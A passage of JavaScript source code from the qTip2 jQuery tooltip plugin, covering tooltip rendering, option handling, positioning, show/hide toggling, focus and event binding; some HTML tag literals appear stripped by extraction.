Cache object this.cache = { event: {}, target: $(), disabled: FALSE, attr: attr, onTooltip: FALSE, lastClass: '' }; // Set the initial flags this.rendered = this.destroyed = this.disabled = this.waiting = this.hiddenDuringWait = this.positioning = this.triggering = FALSE; } PROTOTYPE = QTip.prototype; PROTOTYPE._when = function(deferreds) { return $.when.apply($, deferreds); }; PROTOTYPE.render = function(show) { if(this.rendered || this.destroyed) { return this; } // If tooltip has already been rendered, exit var self = this, options = this.options, cache = this.cache, elements = this.elements, text = options.content.text, title = options.content.title, button = options.content.button, posOptions = options.position, namespace = '.'+this._id+' ', deferreds = [], tooltip; // Add ARIA attributes to target $.attr(this.target[0], 'aria-describedby', this._id); // Create public position object that tracks current position corners cache.posClass = this._createPosClass( (this.position = { my: posOptions.my, at: posOptions.at }).my ); // Create tooltip element this.tooltip = elements.tooltip = tooltip = $('
    ', { 'id': this._id, 'class': [ NAMESPACE, CLASS_DEFAULT, options.style.classes, cache.posClass ].join(' '), 'width': options.style.width || '', 'height': options.style.height || '', 'tracking': posOptions.target === 'mouse' && posOptions.adjust.mouse, /* ARIA specific attributes */ 'role': 'alert', 'aria-live': 'polite', 'aria-atomic': FALSE, 'aria-describedby': this._id + '-content', 'aria-hidden': TRUE }) .toggleClass(CLASS_DISABLED, this.disabled) .attr(ATTR_ID, this.id) .data(NAMESPACE, this) .appendTo(posOptions.container) .append( // Create content element elements.content = $('
    ', { 'class': NAMESPACE + '-content', 'id': this._id + '-content', 'aria-atomic': TRUE }) ); // Set rendered flag and prevent redundant reposition calls for now this.rendered = -1; this.positioning = TRUE; // Create title... if(title) { this._createTitle(); // Update title only if its not a callback (called in toggle if so) if(!$.isFunction(title)) { deferreds.push( this._updateTitle(title, FALSE) ); } } // Create button if(button) { this._createButton(); } // Set proper rendered flag and update content if not a callback function (called in toggle) if(!$.isFunction(text)) { deferreds.push( this._updateContent(text, FALSE) ); } this.rendered = TRUE; // Setup widget classes this._setWidget(); // Initialize 'render' plugins $.each(PLUGINS, function(name) { var instance; if(this.initialize === 'render' && (instance = this(self))) { self.plugins[name] = instance; } }); // Unassign initial events and assign proper events this._unassignEvents(); this._assignEvents(); // When deferreds have completed this._when(deferreds).then(function() { // tooltiprender event self._trigger('render'); // Reset flags self.positioning = FALSE; // Show tooltip if not hidden during wait period if(!self.hiddenDuringWait && (options.show.ready || show)) { self.toggle(TRUE, cache.event, FALSE); } self.hiddenDuringWait = FALSE; }); // Expose API QTIP.api[this.id] = this; return this; }; PROTOTYPE.destroy = function(immediate) { // Set flag the signify destroy is taking place to plugins // and ensure it only gets destroyed once! if(this.destroyed) { return this.target; } function process() { if(this.destroyed) { return; } this.destroyed = TRUE; var target = this.target, title = target.attr(oldtitle), timer; // Destroy tooltip if rendered if(this.rendered) { this.tooltip.stop(1,0).find('*').remove().end().remove(); } // Destroy all plugins $.each(this.plugins, function(name) { this.destroy && this.destroy(); }); // Clear timers for(timer in this.timers) { clearTimeout(this.timers[timer]); } // Remove api object and ARIA attributes target.removeData(NAMESPACE) .removeAttr(ATTR_ID) .removeAttr(ATTR_HAS) .removeAttr('aria-describedby'); // Reset old title attribute if removed if(this.options.suppress && title) { target.attr('title', title).removeAttr(oldtitle); } // Remove qTip events associated with this API this._unassignEvents(); // Remove ID from used id objects, and delete object references // for better garbage collection and leak protection this.options = this.elements = this.cache = this.timers = this.plugins = this.mouse = NULL; // Delete epoxsed API object delete QTIP.api[this.id]; } // If an immediate destory is needed if((immediate !== TRUE || this.triggering === 'hide') && this.rendered) { this.tooltip.one('tooltiphidden', $.proxy(process, this)); !this.triggering && this.hide(); } // If we're not in the process of hiding... process else { process.call(this); } return this.target; }; ;function invalidOpt(a) { return a === NULL || $.type(a) !== 'object'; } function invalidContent(c) { return !( $.isFunction(c) || (c && c.attr) || c.length || ($.type(c) === 'object' && (c.jquery || c.then) )); } // Option object sanitizer function sanitizeOptions(opts) { var content, text, ajax, once; if(invalidOpt(opts)) { return FALSE; } if(invalidOpt(opts.metadata)) { opts.metadata = { type: opts.metadata }; } if('content' in opts) { content = opts.content; if(invalidOpt(content) || content.jquery || content.done) { content = opts.content = { text: (text = invalidContent(content) ? FALSE : content) }; } else { text = content.text; } // DEPRECATED - Old content.ajax plugin functionality // Converts it into the proper Deferred syntax if('ajax' in content) { ajax = content.ajax; once = ajax && ajax.once !== FALSE; delete content.ajax; content.text = function(event, api) { var loading = text || $(this).attr(api.options.content.attr) || 'Loading...', deferred = $.ajax( $.extend({}, ajax, { context: api }) ) .then(ajax.success, NULL, ajax.error) .then(function(content) { if(content && once) { api.set('content.text', content); } return content; }, function(xhr, status, error) { if(api.destroyed || xhr.status === 0) { return; } api.set('content.text', status + ': ' + error); }); return !once ? (api.set('content.text', loading), deferred) : loading; }; } if('title' in content) { if($.isPlainObject(content.title)) { content.button = content.title.button; content.title = content.title.text; } if(invalidContent(content.title || FALSE)) { content.title = FALSE; } } } if('position' in opts && invalidOpt(opts.position)) { opts.position = { my: opts.position, at: opts.position }; } if('show' in opts && invalidOpt(opts.show)) { opts.show = opts.show.jquery ? { target: opts.show } : opts.show === TRUE ? { ready: TRUE } : { event: opts.show }; } if('hide' in opts && invalidOpt(opts.hide)) { opts.hide = opts.hide.jquery ? { target: opts.hide } : { event: opts.hide }; } if('style' in opts && invalidOpt(opts.style)) { opts.style = { classes: opts.style }; } // Sanitize plugin options $.each(PLUGINS, function() { this.sanitize && this.sanitize(opts); }); return opts; } // Setup builtin .set() option checks CHECKS = PROTOTYPE.checks = { builtin: { // Core checks '^id$': function(obj, o, v, prev) { var id = v === TRUE ? QTIP.nextid : v, new_id = NAMESPACE + '-' + id; if(id !== FALSE && id.length > 0 && !$('#'+new_id).length) { this._id = new_id; if(this.rendered) { this.tooltip[0].id = this._id; this.elements.content[0].id = this._id + '-content'; this.elements.title[0].id = this._id + '-title'; } } else { obj[o] = prev; } }, '^prerender': function(obj, o, v) { v && !this.rendered && this.render(this.options.show.ready); }, // Content checks '^content.text$': function(obj, o, v) { this._updateContent(v); }, '^content.attr$': function(obj, o, v, prev) { if(this.options.content.text === this.target.attr(prev)) { this._updateContent( this.target.attr(v) ); } }, '^content.title$': function(obj, o, v) { // Remove title if content is null if(!v) { return this._removeTitle(); } // If title isn't already created, create it now and update v && !this.elements.title && this._createTitle(); this._updateTitle(v); }, '^content.button$': function(obj, o, v) { this._updateButton(v); }, '^content.title.(text|button)$': function(obj, o, v) { this.set('content.'+o, v); // Backwards title.text/button compat }, // Position checks '^position.(my|at)$': function(obj, o, v){ 'string' === typeof v && (this.position[o] = obj[o] = new CORNER(v, o === 'at')); }, '^position.container$': function(obj, o, v){ this.rendered && this.tooltip.appendTo(v); }, // Show checks '^show.ready$': function(obj, o, v) { v && (!this.rendered && this.render(TRUE) || this.toggle(TRUE)); }, // Style checks '^style.classes$': function(obj, o, v, p) { this.rendered && this.tooltip.removeClass(p).addClass(v); }, '^style.(width|height)': function(obj, o, v) { this.rendered && this.tooltip.css(o, v); }, '^style.widget|content.title': function() { this.rendered && this._setWidget(); }, '^style.def': function(obj, o, v) { this.rendered && this.tooltip.toggleClass(CLASS_DEFAULT, !!v); }, // Events check '^events.(render|show|move|hide|focus|blur)$': function(obj, o, v) { this.rendered && this.tooltip[($.isFunction(v) ? '' : 'un') + 'bind']('tooltip'+o, v); }, // Properties which require event reassignment '^(show|hide|position).(event|target|fixed|inactive|leave|distance|viewport|adjust)': function() { if(!this.rendered) { return; } // Set tracking flag var posOptions = this.options.position; this.tooltip.attr('tracking', posOptions.target === 'mouse' && posOptions.adjust.mouse); // Reassign events this._unassignEvents(); this._assignEvents(); } } }; // Dot notation converter function convertNotation(options, notation) { var i = 0, obj, option = options, // Split notation into array levels = notation.split('.'); // Loop through while( option = option[ levels[i++] ] ) { if(i < levels.length) { obj = option; } } return [obj || options, levels.pop()]; } PROTOTYPE.get = function(notation) { if(this.destroyed) { return this; } var o = convertNotation(this.options, notation.toLowerCase()), result = o[0][ o[1] ]; return result.precedance ? result.string() : result; }; function setCallback(notation, args) { var category, rule, match; for(category in this.checks) { for(rule in this.checks[category]) { if(match = (new RegExp(rule, 'i')).exec(notation)) { args.push(match); if(category === 'builtin' || this.plugins[category]) { this.checks[category][rule].apply( this.plugins[category] || this, args ); } } } } } var rmove = /^position\.(my|at|adjust|target|container|viewport)|style|content|show\.ready/i, rrender = /^prerender|show\.ready/i; PROTOTYPE.set = function(option, value) { if(this.destroyed) { return this; } var rendered = this.rendered, reposition = FALSE, options = this.options, checks = this.checks, name; // Convert singular option/value pair into object form if('string' === typeof option) { name = option; option = {}; option[name] = value; } else { option = $.extend({}, option); } // Set all of the defined options to their new values $.each(option, function(notation, value) { if(rendered && rrender.test(notation)) { delete option[notation]; return; } // Set new obj value var obj = convertNotation(options, notation.toLowerCase()), previous; previous = obj[0][ obj[1] ]; obj[0][ obj[1] ] = value && value.nodeType ? $(value) : value; // Also check if we need to reposition reposition = rmove.test(notation) || reposition; // Set the new params for the callback option[notation] = [obj[0], obj[1], value, previous]; }); // Re-sanitize options sanitizeOptions(options); /* * Execute any valid callbacks for the set options * Also set positioning flag so we don't get loads of redundant repositioning calls. */ this.positioning = TRUE; $.each(option, $.proxy(setCallback, this)); this.positioning = FALSE; // Update position if needed if(this.rendered && this.tooltip[0].offsetWidth > 0 && reposition) { this.reposition( options.position.target === 'mouse' ? NULL : this.cache.event ); } return this; }; ;PROTOTYPE._update = function(content, element, reposition) { var self = this, cache = this.cache; // Make sure tooltip is rendered and content is defined. If not return if(!this.rendered || !content) { return FALSE; } // Use function to parse content if($.isFunction(content)) { content = content.call(this.elements.target, cache.event, this) || ''; } // Handle deferred content if($.isFunction(content.then)) { cache.waiting = TRUE; return content.then(function(c) { cache.waiting = FALSE; return self._update(c, element); }, NULL, function(e) { return self._update(e, element); }); } // If content is null... return false if(content === FALSE || (!content && content !== '')) { return FALSE; } // Append new content if its a DOM array and show it if hidden if(content.jquery && content.length > 0) { element.empty().append( content.css({ display: 'block', visibility: 'visible' }) ); } // Content is a regular string, insert the new content else { element.html(content); } // Wait for content to be loaded, and reposition return this._waitForContent(element).then(function(images) { if(self.rendered && self.tooltip[0].offsetWidth > 0) { self.reposition(cache.event, !images.length); } }); }; PROTOTYPE._waitForContent = function(element) { var cache = this.cache; // Set flag cache.waiting = TRUE; // If imagesLoaded is included, ensure images have loaded and return promise return ( $.fn.imagesLoaded ? element.imagesLoaded() : $.Deferred().resolve([]) ) .done(function() { cache.waiting = FALSE; }) .promise(); }; PROTOTYPE._updateContent = function(content, reposition) { this._update(content, this.elements.content, reposition); }; PROTOTYPE._updateTitle = function(content, reposition) { if(this._update(content, this.elements.title, reposition) === FALSE) { this._removeTitle(FALSE); } }; PROTOTYPE._createTitle = function() { var elements = this.elements, id = this._id+'-title'; // Destroy previous title element, if present if(elements.titlebar) { this._removeTitle(); } // Create title bar and title elements elements.titlebar = $('
    ', { 'class': NAMESPACE + '-titlebar ' + (this.options.style.widget ? createWidgetClass('header') : '') }) .append( elements.title = $('
    ', { 'id': id, 'class': NAMESPACE + '-title', 'aria-atomic': TRUE }) ) .insertBefore(elements.content) // Button-specific events .delegate('.qtip-close', 'mousedown keydown mouseup keyup mouseout', function(event) { $(this).toggleClass('ui-state-active ui-state-focus', event.type.substr(-4) === 'down'); }) .delegate('.qtip-close', 'mouseover mouseout', function(event){ $(this).toggleClass('ui-state-hover', event.type === 'mouseover'); }); // Create button if enabled if(this.options.content.button) { this._createButton(); } }; PROTOTYPE._removeTitle = function(reposition) { var elements = this.elements; if(elements.title) { elements.titlebar.remove(); elements.titlebar = elements.title = elements.button = NULL; // Reposition if enabled if(reposition !== FALSE) { this.reposition(); } } }; ;PROTOTYPE._createPosClass = function(my) { return NAMESPACE + '-pos-' + (my || this.options.position.my).abbrev(); }; PROTOTYPE.reposition = function(event, effect) { if(!this.rendered || this.positioning || this.destroyed) { return this; } // Set positioning flag this.positioning = TRUE; var cache = this.cache, tooltip = this.tooltip, posOptions = this.options.position, target = posOptions.target, my = posOptions.my, at = posOptions.at, viewport = posOptions.viewport, container = posOptions.container, adjust = posOptions.adjust, method = adjust.method.split(' '), tooltipWidth = tooltip.outerWidth(FALSE), tooltipHeight = tooltip.outerHeight(FALSE), targetWidth = 0, targetHeight = 0, type = tooltip.css('position'), position = { left: 0, top: 0 }, visible = tooltip[0].offsetWidth > 0, isScroll = event && event.type === 'scroll', win = $(window), doc = container[0].ownerDocument, mouse = this.mouse, pluginCalculations, offset, adjusted, newClass; // Check if absolute position was passed if(Array.isArray(target) && target.length === 2) { // Force left top and set position at = { x: LEFT, y: TOP }; position = { left: target[0], top: target[1] }; } // Check if mouse was the target else if(target === 'mouse') { // Force left top to allow flipping at = { x: LEFT, y: TOP }; // Use the mouse origin that caused the show event, if distance hiding is enabled if((!adjust.mouse || this.options.hide.distance) && cache.origin && cache.origin.pageX) { event = cache.origin; } // Use cached event for resize/scroll events else if(!event || (event && (event.type === 'resize' || event.type === 'scroll'))) { event = cache.event; } // Otherwise, use the cached mouse coordinates if available else if(mouse && mouse.pageX) { event = mouse; } // Calculate body and container offset and take them into account below if(type !== 'static') { position = container.offset(); } if(doc.body.offsetWidth !== (window.innerWidth || doc.documentElement.clientWidth)) { offset = $(document.body).offset(); } // Use event coordinates for position position = { left: event.pageX - position.left + (offset && offset.left || 0), top: event.pageY - position.top + (offset && offset.top || 0) }; // Scroll events are a pain, some browsers if(adjust.mouse && isScroll && mouse) { position.left -= (mouse.scrollX || 0) - win.scrollLeft(); position.top -= (mouse.scrollY || 0) - win.scrollTop(); } } // Target wasn't mouse or absolute... else { // Check if event targetting is being used if(target === 'event') { if(event && event.target && event.type !== 'scroll' && event.type !== 'resize') { cache.target = $(event.target); } else if(!event.target) { cache.target = this.elements.target; } } else if(target !== 'event'){ cache.target = $(target.jquery ? target : this.elements.target); } target = cache.target; // Parse the target into a jQuery object and make sure there's an element present target = $(target).eq(0); if(target.length === 0) { return this; } // Check if window or document is the target else if(target[0] === document || target[0] === window) { targetWidth = BROWSER.iOS ? window.innerWidth : target.width(); targetHeight = BROWSER.iOS ? window.innerHeight : target.height(); if(target[0] === window) { position = { top: (viewport || target).scrollTop(), left: (viewport || target).scrollLeft() }; } } // Check if the target is an element else if(PLUGINS.imagemap && target.is('area')) { pluginCalculations = PLUGINS.imagemap(this, target, at, PLUGINS.viewport ? method : FALSE); } // Check if the target is an SVG element else if(PLUGINS.svg && target && target[0].ownerSVGElement) { pluginCalculations = PLUGINS.svg(this, target, at, PLUGINS.viewport ? method : FALSE); } // Otherwise use regular jQuery methods else { targetWidth = target.outerWidth(FALSE); targetHeight = target.outerHeight(FALSE); position = target.offset(); } // Parse returned plugin values into proper variables if(pluginCalculations) { targetWidth = pluginCalculations.width; targetHeight = pluginCalculations.height; offset = pluginCalculations.offset; position = pluginCalculations.position; } // Adjust position to take into account offset parents position = this.reposition.offset(target, position, container); // Adjust for position.fixed tooltips (and also iOS scroll bug in v3.2-4.0 & v4.3-4.3.2) if((BROWSER.iOS > 3.1 && BROWSER.iOS < 4.1) || (BROWSER.iOS >= 4.3 && BROWSER.iOS < 4.33) || (!BROWSER.iOS && type === 'fixed') ){ position.left -= win.scrollLeft(); position.top -= win.scrollTop(); } // Adjust position relative to target if(!pluginCalculations || (pluginCalculations && pluginCalculations.adjustable !== FALSE)) { position.left += at.x === RIGHT ? targetWidth : at.x === CENTER ? targetWidth / 2 : 0; position.top += at.y === BOTTOM ? targetHeight : at.y === CENTER ? targetHeight / 2 : 0; } } // Adjust position relative to tooltip position.left += adjust.x + (my.x === RIGHT ? -tooltipWidth : my.x === CENTER ? -tooltipWidth / 2 : 0); position.top += adjust.y + (my.y === BOTTOM ? -tooltipHeight : my.y === CENTER ? -tooltipHeight / 2 : 0); // Use viewport adjustment plugin if enabled if(PLUGINS.viewport) { adjusted = position.adjusted = PLUGINS.viewport( this, position, posOptions, targetWidth, targetHeight, tooltipWidth, tooltipHeight ); // Apply offsets supplied by positioning plugin (if used) if(offset && adjusted.left) { position.left += offset.left; } if(offset && adjusted.top) { position.top += offset.top; } // Apply any new 'my' position if(adjusted.my) { this.position.my = adjusted.my; } } // Viewport adjustment is disabled, set values to zero else { position.adjusted = { left: 0, top: 0 }; } // Set tooltip position class if it's changed if(cache.posClass !== (newClass = this._createPosClass(this.position.my))) { tooltip.removeClass(cache.posClass).addClass( (cache.posClass = newClass) ); } // tooltipmove event if(!this._trigger('move', [position, viewport.elem || viewport], event)) { return this; } delete position.adjusted; // If effect is disabled, target it mouse, no animation is defined or positioning gives NaN out, set CSS directly if(effect === FALSE || !visible || isNaN(position.left) || isNaN(position.top) || target === 'mouse' || !$.isFunction(posOptions.effect)) { tooltip.css(position); } // Use custom function if provided else if($.isFunction(posOptions.effect)) { posOptions.effect.call(tooltip, this, $.extend({}, position)); tooltip.queue(function(next) { // Reset attributes to avoid cross-browser rendering bugs $(this).css({ opacity: '', height: '' }); if(BROWSER.ie) { this.style.removeAttribute('filter'); } next(); }); } // Set positioning flag this.positioning = FALSE; return this; }; // Custom (more correct for qTip!) offset calculator PROTOTYPE.reposition.offset = function(elem, pos, container) { if(!container[0]) { return pos; } var ownerDocument = $(elem[0].ownerDocument), quirks = !!BROWSER.ie && document.compatMode !== 'CSS1Compat', parent = container[0], scrolled, position, parentOffset, overflow; function scroll(e, i) { pos.left += i * e.scrollLeft(); pos.top += i * e.scrollTop(); } // Compensate for non-static containers offset do { if((position = $.css(parent, 'position')) !== 'static') { if(position === 'fixed') { parentOffset = parent.getBoundingClientRect(); scroll(ownerDocument, -1); } else { parentOffset = $(parent).position(); parentOffset.left += (parseFloat($.css(parent, 'borderLeftWidth')) || 0); parentOffset.top += (parseFloat($.css(parent, 'borderTopWidth')) || 0); } pos.left -= parentOffset.left + (parseFloat($.css(parent, 'marginLeft')) || 0); pos.top -= parentOffset.top + (parseFloat($.css(parent, 'marginTop')) || 0); // If this is the first parent element with an overflow of "scroll" or "auto", store it if(!scrolled && (overflow = $.css(parent, 'overflow')) !== 'hidden' && overflow !== 'visible') { scrolled = $(parent); } } } while((parent = parent.offsetParent)); // Compensate for containers scroll if it also has an offsetParent (or in IE quirks mode) if(scrolled && (scrolled[0] !== ownerDocument[0] || quirks)) { scroll(scrolled, 1); } return pos; }; // Corner class var C = (CORNER = PROTOTYPE.reposition.Corner = function(corner, forceY) { corner = ('' + corner).replace(/([A-Z])/, ' $1').replace(/middle/gi, CENTER).toLowerCase(); this.x = (corner.match(/left|right/i) || corner.match(/center/) || ['inherit'])[0].toLowerCase(); this.y = (corner.match(/top|bottom|center/i) || ['inherit'])[0].toLowerCase(); this.forceY = !!forceY; var f = corner.charAt(0); this.precedance = (f === 't' || f === 'b' ? Y : X); }).prototype; C.invert = function(z, center) { this[z] = this[z] === LEFT ? RIGHT : this[z] === RIGHT ? LEFT : center || this[z]; }; C.string = function(join) { var x = this.x, y = this.y; var result = x !== y ? (x === 'center' || y !== 'center' && (this.precedance === Y || this.forceY) ? [y,x] : [x,y] ) : [x]; return join !== false ? result.join(' ') : result; }; C.abbrev = function() { var result = this.string(false); return result[0].charAt(0) + (result[1] && result[1].charAt(0) || ''); }; C.clone = function() { return new CORNER( this.string(), this.forceY ); }; ; PROTOTYPE.toggle = function(state, event) { var cache = this.cache, options = this.options, tooltip = this.tooltip; // Try to prevent flickering when tooltip overlaps show element if(event) { if((/over|enter/).test(event.type) && cache.event && (/out|leave/).test(cache.event.type) && options.show.target.add(event.target).length === options.show.target.length && tooltip.has(event.relatedTarget).length) { return this; } // Cache event cache.event = $.event.fix(event); } // If we're currently waiting and we've just hidden... stop it this.waiting && !state && (this.hiddenDuringWait = TRUE); // Render the tooltip if showing and it isn't already if(!this.rendered) { return state ? this.render(1) : this; } else if(this.destroyed || this.disabled) { return this; } var type = state ? 'show' : 'hide', opts = this.options[type], otherOpts = this.options[ !state ? 'show' : 'hide' ], posOptions = this.options.position, contentOptions = this.options.content, width = this.tooltip.css('width'), visible = this.tooltip.is(':visible'), animate = state || opts.target.length === 1, sameTarget = !event || opts.target.length < 2 || cache.target[0] === event.target, identicalState, allow, showEvent, delay, after; // Detect state if valid one isn't provided if((typeof state).search('boolean|number')) { state = !visible; } // Check if the tooltip is in an identical state to the new would-be state identicalState = !tooltip.is(':animated') && visible === state && sameTarget; // Fire tooltip(show/hide) event and check if destroyed allow = !identicalState ? !!this._trigger(type, [90]) : NULL; // Check to make sure the tooltip wasn't destroyed in the callback if(this.destroyed) { return this; } // If the user didn't stop the method prematurely and we're showing the tooltip, focus it if(allow !== FALSE && state) { this.focus(event); } // If the state hasn't changed or the user stopped it, return early if(!allow || identicalState) { return this; } // Set ARIA hidden attribute $.attr(tooltip[0], 'aria-hidden', !!!state); // Execute state specific properties if(state) { // Store show origin coordinates this.mouse && (cache.origin = $.event.fix(this.mouse)); // Update tooltip content & title if it's a dynamic function if($.isFunction(contentOptions.text)) { this._updateContent(contentOptions.text, FALSE); } if($.isFunction(contentOptions.title)) { this._updateTitle(contentOptions.title, FALSE); } // Cache mousemove events for positioning purposes (if not already tracking) if(!trackingBound && posOptions.target === 'mouse' && posOptions.adjust.mouse) { $(document).bind('mousemove.'+NAMESPACE, this._storeMouse); trackingBound = TRUE; } // Update the tooltip position (set width first to prevent viewport/max-width issues) if(!width) { tooltip.css('width', tooltip.outerWidth(FALSE)); } this.reposition(event, arguments[2]); if(!width) { tooltip.css('width', ''); } // Hide other tooltips if tooltip is solo if(!!opts.solo) { (typeof opts.solo === 'string' ? $(opts.solo) : $(SELECTOR, opts.solo)) .not(tooltip).not(opts.target).qtip('hide', $.Event('tooltipsolo')); } } else { // Clear show timer if we're hiding clearTimeout(this.timers.show); // Remove cached origin on hide delete cache.origin; // Remove mouse tracking event if not needed (all tracking qTips are hidden) if(trackingBound && !$(SELECTOR+'[tracking="true"]:visible', opts.solo).not(tooltip).length) { $(document).unbind('mousemove.'+NAMESPACE); trackingBound = FALSE; } // Blur the tooltip this.blur(event); } // Define post-animation, state specific properties after = $.proxy(function() { if(state) { // Prevent antialias from disappearing in IE by removing filter if(BROWSER.ie) { tooltip[0].style.removeAttribute('filter'); } // Remove overflow setting to prevent tip bugs tooltip.css('overflow', ''); // Autofocus elements if enabled if('string' === typeof opts.autofocus) { $(this.options.show.autofocus, tooltip).focus(); } // If set, hide tooltip when inactive for delay period this.options.show.target.trigger('qtip-'+this.id+'-inactive'); } else { // Reset CSS states tooltip.css({ display: '', visibility: '', opacity: '', left: '', top: '' }); } // tooltipvisible/tooltiphidden events this._trigger(state ? 'visible' : 'hidden'); }, this); // If no effect type is supplied, use a simple toggle if(opts.effect === FALSE || animate === FALSE) { tooltip[ type ](); after(); } // Use custom function if provided else if($.isFunction(opts.effect)) { tooltip.stop(1, 1); opts.effect.call(tooltip, this); tooltip.queue('fx', function(n) { after(); n(); }); } // Use basic fade function by default else { tooltip.fadeTo(90, state ? 1 : 0, after); } // If inactive hide method is set, active it if(state) { opts.target.trigger('qtip-'+this.id+'-inactive'); } return this; }; PROTOTYPE.show = function(event) { return this.toggle(TRUE, event); }; PROTOTYPE.hide = function(event) { return this.toggle(FALSE, event); }; ;PROTOTYPE.focus = function(event) { if(!this.rendered || this.destroyed) { return this; } var qtips = $(SELECTOR), tooltip = this.tooltip, curIndex = parseInt(tooltip[0].style.zIndex, 10), newIndex = QTIP.zindex + qtips.length, focusedElem; // Only update the z-index if it has changed and tooltip is not already focused if(!tooltip.hasClass(CLASS_FOCUS)) { // tooltipfocus event if(this._trigger('focus', [newIndex], event)) { // Only update z-index's if they've changed if(curIndex !== newIndex) { // Reduce our z-index's and keep them properly ordered qtips.each(function() { if(this.style.zIndex > curIndex) { this.style.zIndex = this.style.zIndex - 1; } }); // Fire blur event for focused tooltip qtips.filter('.' + CLASS_FOCUS).qtip('blur', event); } // Set the new z-index tooltip.addClass(CLASS_FOCUS)[0].style.zIndex = newIndex; } } return this; }; PROTOTYPE.blur = function(event) { if(!this.rendered || this.destroyed) { return this; } // Set focused status to FALSE this.tooltip.removeClass(CLASS_FOCUS); // tooltipblur event this._trigger('blur', [ this.tooltip.css('zIndex') ], event); return this; }; ;PROTOTYPE.disable = function(state) { if(this.destroyed) { return this; } // If 'toggle' is passed, toggle the current state if(state === 'toggle') { state = !(this.rendered ? this.tooltip.hasClass(CLASS_DISABLED) : this.disabled); } // Disable if no state passed else if('boolean' !== typeof state) { state = TRUE; } if(this.rendered) { this.tooltip.toggleClass(CLASS_DISABLED, state) .attr('aria-disabled', state); } this.disabled = !!state; return this; }; PROTOTYPE.enable = function() { return this.disable(FALSE); }; ;PROTOTYPE._createButton = function() { var self = this, elements = this.elements, tooltip = elements.tooltip, button = this.options.content.button, isString = typeof button === 'string', close = isString ? button : 'Close tooltip'; if(elements.button) { elements.button.remove(); } // Use custom button if one was supplied by user, else use default if(button.jquery) { elements.button = button; } else { elements.button = $('', { 'class': 'qtip-close ' + (this.options.style.widget ? '' : NAMESPACE+'-icon'), 'title': close, 'aria-label': close }) .prepend( $('', { 'class': 'ui-icon ui-icon-close', 'html': '×' }) ); } // Create button and setup attributes elements.button.appendTo(elements.titlebar || tooltip) .attr('role', 'button') .on( 'click', function(event) { if(!tooltip.hasClass(CLASS_DISABLED)) { self.hide(event); } return FALSE; }); }; PROTOTYPE._updateButton = function(button) { // Make sure tooltip is rendered and if not, return if(!this.rendered) { return FALSE; } var elem = this.elements.button; if(button) { this._createButton(); } else { elem.remove(); } }; ;// Widget class creator function createWidgetClass(cls) { return WIDGET.concat('').join(cls ? '-'+cls+' ' : ' '); } // Widget class setter method PROTOTYPE._setWidget = function() { var on = this.options.style.widget, elements = this.elements, tooltip = elements.tooltip, disabled = tooltip.hasClass(CLASS_DISABLED); tooltip.removeClass(CLASS_DISABLED); CLASS_DISABLED = on ? 'ui-state-disabled' : 'qtip-disabled'; tooltip.toggleClass(CLASS_DISABLED, disabled); tooltip.toggleClass('ui-helper-reset '+createWidgetClass(), on).toggleClass(CLASS_DEFAULT, this.options.style.def && !on); if(elements.content) { elements.content.toggleClass( createWidgetClass('content'), on); } if(elements.titlebar) { elements.titlebar.toggleClass( createWidgetClass('header'), on); } if(elements.button) { elements.button.toggleClass(NAMESPACE+'-icon', !on); } }; ;function delay(callback, duration) { // If tooltip has displayed, start hide timer if(duration > 0) { return setTimeout( $.proxy(callback, this), duration ); } else{ callback.call(this); } } function showMethod(event) { if(this.tooltip.hasClass(CLASS_DISABLED)) { return; } // Clear hide timers clearTimeout(this.timers.show); clearTimeout(this.timers.hide); // Start show timer this.timers.show = delay.call(this, function() { this.toggle(TRUE, event); }, this.options.show.delay ); } function hideMethod(event) { if(this.tooltip.hasClass(CLASS_DISABLED) || this.destroyed) { return; } // Check if new target was actually the tooltip element var relatedTarget = $(event.relatedTarget), ontoTooltip = relatedTarget.closest(SELECTOR)[0] === this.tooltip[0], ontoTarget = relatedTarget[0] === this.options.show.target[0]; // Clear timers and stop animation queue clearTimeout(this.timers.show); clearTimeout(this.timers.hide); // Prevent hiding if tooltip is fixed and event target is the tooltip. // Or if mouse positioning is enabled and cursor momentarily overlaps if(this !== relatedTarget[0] && (this.options.position.target === 'mouse' && ontoTooltip) || (this.options.hide.fixed && ( (/mouse(out|leave|move)/).test(event.type) && (ontoTooltip || ontoTarget)) )) { try { event.preventDefault(); event.stopImmediatePropagation(); } catch(e) {} return; } // If tooltip has displayed, start hide timer this.timers.hide = delay.call(this, function() { this.toggle(FALSE, event); }, this.options.hide.delay, this ); } function inactiveMethod(event) { if(this.tooltip.hasClass(CLASS_DISABLED) || !this.options.hide.inactive) { return; } // Clear timer clearTimeout(this.timers.inactive); this.timers.inactive = delay.call(this, function(){ this.hide(event); }, this.options.hide.inactive ); } function repositionMethod(event) { if(this.rendered && this.tooltip[0].offsetWidth > 0) { this.reposition(event); } } // Store mouse coordinates PROTOTYPE._storeMouse = function(event) { (this.mouse = $.event.fix(event)).type = 'mousemove'; return this; }; // Bind events PROTOTYPE._bind = function(targets, events, method, suffix, context) { if(!targets || !method || !events.length) { return; } var ns = '.' + this._id + (suffix ? '-'+suffix : ''); $(targets).bind( (events.split ? events : events.join(ns + ' ')) + ns, $.proxy(method, context || this) ); return this; }; PROTOTYPE._unbind = function(targets, suffix) { targets && $(targets).unbind('.' + this._id + (suffix ? '-'+suffix : '')); return this; }; // Global delegation helper function delegate(selector, events, method) { $(document.body).delegate(selector, (events.split ? events : events.join('.'+NAMESPACE + ' ')) + '.'+NAMESPACE, function() { var api = QTIP.api[ $.attr(this, ATTR_ID) ]; api && !api.disabled && method.apply(api, arguments); } ); } // Event trigger PROTOTYPE._trigger = function(type, args, event) { var callback = $.Event('tooltip'+type); callback.originalEvent = (event && $.extend({}, event)) || this.cache.event || NULL; this.triggering = type; this.tooltip.trigger(callback, [this].concat(args || [])); this.triggering = FALSE; return !callback.isDefaultPrevented(); }; PROTOTYPE._bindEvents = function(showEvents, hideEvents, showTargets, hideTargets, showMethod, hideMethod) { // Get tasrgets that lye within both var similarTargets = showTargets.filter( hideTargets ).add( hideTargets.filter(showTargets) ), toggleEvents = []; // If hide and show targets are the same... if(similarTargets.length) { // Filter identical show/hide events $.each(hideEvents, function(i, type) { var showIndex = $.inArray(type, showEvents); // Both events are identical, remove from both hide and show events // and append to toggleEvents showIndex > -1 && toggleEvents.push( showEvents.splice( showIndex, 1 )[0] ); }); // Toggle events are special case of identical show/hide events, which happen in sequence if(toggleEvents.length) { // Bind toggle events to the similar targets this._bind(similarTargets, toggleEvents, function(event) { var state = this.rendered ? this.tooltip[0].offsetWidth > 0 : false; (state ? hideMethod : showMethod).call(this, event); }); // Remove the similar targets from the regular show/hide bindings showTargets = showTargets.not(similarTargets); 